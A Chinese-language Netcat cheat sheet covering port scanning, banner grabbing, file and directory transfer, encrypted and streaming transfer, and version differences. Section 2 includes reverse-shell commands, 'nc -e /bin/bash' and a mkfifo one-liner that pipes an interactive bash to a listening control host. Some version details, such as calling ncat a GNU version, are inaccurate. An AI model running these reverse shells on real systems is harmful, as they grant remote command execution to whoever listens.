Netcat (nc) 被譽為網絡工具界的「瑞士軍刀」,本文系統梳理其核心實戰場景,包含端口掃描、Banner 抓取、聊天服務、文件/目錄傳輸、加密通訊及流媒體傳輸。
參數速查表
| 參數 | 說明 |
| -l | 監聽模式 (服務端) |
| -p | 指定端口 |
| -z | 零 I/O 掃描模式 |
| -v | 詳細輸出 |
| -n | 禁用 DNS 解析 |
| -u | UDP 模式 |
| -k | 持續監聽 (斷開後繼續) |
| -w | 連接超時秒數 |
1. 端口掃描與服務識別
# TCP 全端口掃描 (1-65535)
nc -z -v -n 192.168.1.100 1-65535
# UDP 掃描
nc -z -v -u -n 192.168.1.100 53,67,123,161
# Banner 抓取
nc -v 192.168.1.100 22
nc -v 192.168.1.100 80
HEAD / HTTP/1.0
# 發送 HTTP 請求獲取服務器信息
2. 簡易聊天/反向 Shell
正向連接
# 服務端
nc -l -p 4444
# 客戶端
nc 192.168.1.100 4444
反向連接 (穿透 NAT/防火牆)
# 攻擊機/控制端 監聽
nc -l -p 4444
# 目標機 發起連接並執行 Shell
nc 192.168.1.100 4444 -e /bin/bash
# 注:-e 參數需 nc 版本支持 (傳統版/netcat-openbsd 無,GNU 版有)
# 通用替代方案:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f
3. 文件傳輸 (支持斷點續傳邏輯)
基礎傳輸
# 發送端 (服務端)
nc -l -p 5555 < file.tar.gz
# 接收端
nc 192.168.1.100 5555 > file.tar.gz
帶進度條傳輸 (配合 pv)
# 發送
pv file.tar.gz | nc -l -p 5555
# 接收
nc 192.168.1.100 5555 | pv > file.tar.gz
4. 目錄傳輸 (tar + 壓縮)
# 服務端: 打包壓縮並發送
tar czf - /path/to/dir | nc -l -p 5555
# 客戶端: 接收解壓
nc 192.168.1.100 5555 | tar xzf - -C /target/path
# 高壓縮比 (xz)
tar cJf - /path/to/dir | nc -l -p 5555
nc 192.168.1.100 5555 | tar xJf -
5. 加密通訊 (OpenSSL / GPG)
OpenSSL AES-256-CBC
# 服務端: 解密接收
nc -l -p 5555 | openssl enc -d -aes-256-cbc -pass pass:YourPassword > file.txt
# 客戶端: 加密發送
openssl enc -aes-256-cbc -pass pass:YourPassword -in file.txt | nc 192.168.1.100 5555
GPG 對稱加密
# 服務端
nc -l -p 5555 | gpg --decrypt --batch --passphrase YourPassword > file.txt
# 客戶端
gpg --symmetric --batch --passphrase YourPassword -c file.txt | nc 192.168.1.100 5555
6. 流媒體/實時數據傳輸
# 視頻流發送
cat video.mp4 | nc -l -p 5555
# 實時播放 (需播放器支持管道)
nc 192.168.1.100 5555 | mpv --cache=8192 -
# 音頻流
arecord -f cd -t raw | nc -l -p 5555
nc 192.168.1.100 5555 | aplay -f cd -t raw
7. 實用組合技巧
- HTTP 服務器:
while true; do nc -l -p 8080 < index.html; done
- 端口轉發:
nc -l -p 8080 | nc 192.168.1.200 80
- 服務健康檢查:
echo -e "GET / HTTP/1.0\n\n" | nc -w 2 192.168.1.100 80
- 獲取公網 IP:
curl -s ifconfig.me (非 nc,但常配合使用)
版本差異說明
| 版本 | 套件名 | 特點 |
| 傳統版 | netcat-traditional | 支持 -e 選項,功能較少 |
| OpenBSD 版 | netcat-openbsd | 默認安裝,無 -e,支持 -k、-q、Unix 域套接字 |
| GNU 版 | netcat (ncat) | Nmap 套件,支持 SSL、代理、-e、--broker 等高級功能 |
總結
Netcat 以「任意 TCP/UDP 讀寫」為核心,配合 Shell 重定向、管道、加密工具,可構建無數網絡工具。掌握版本差異、核心參數與組合模式,是運維/安全從業者必備技能。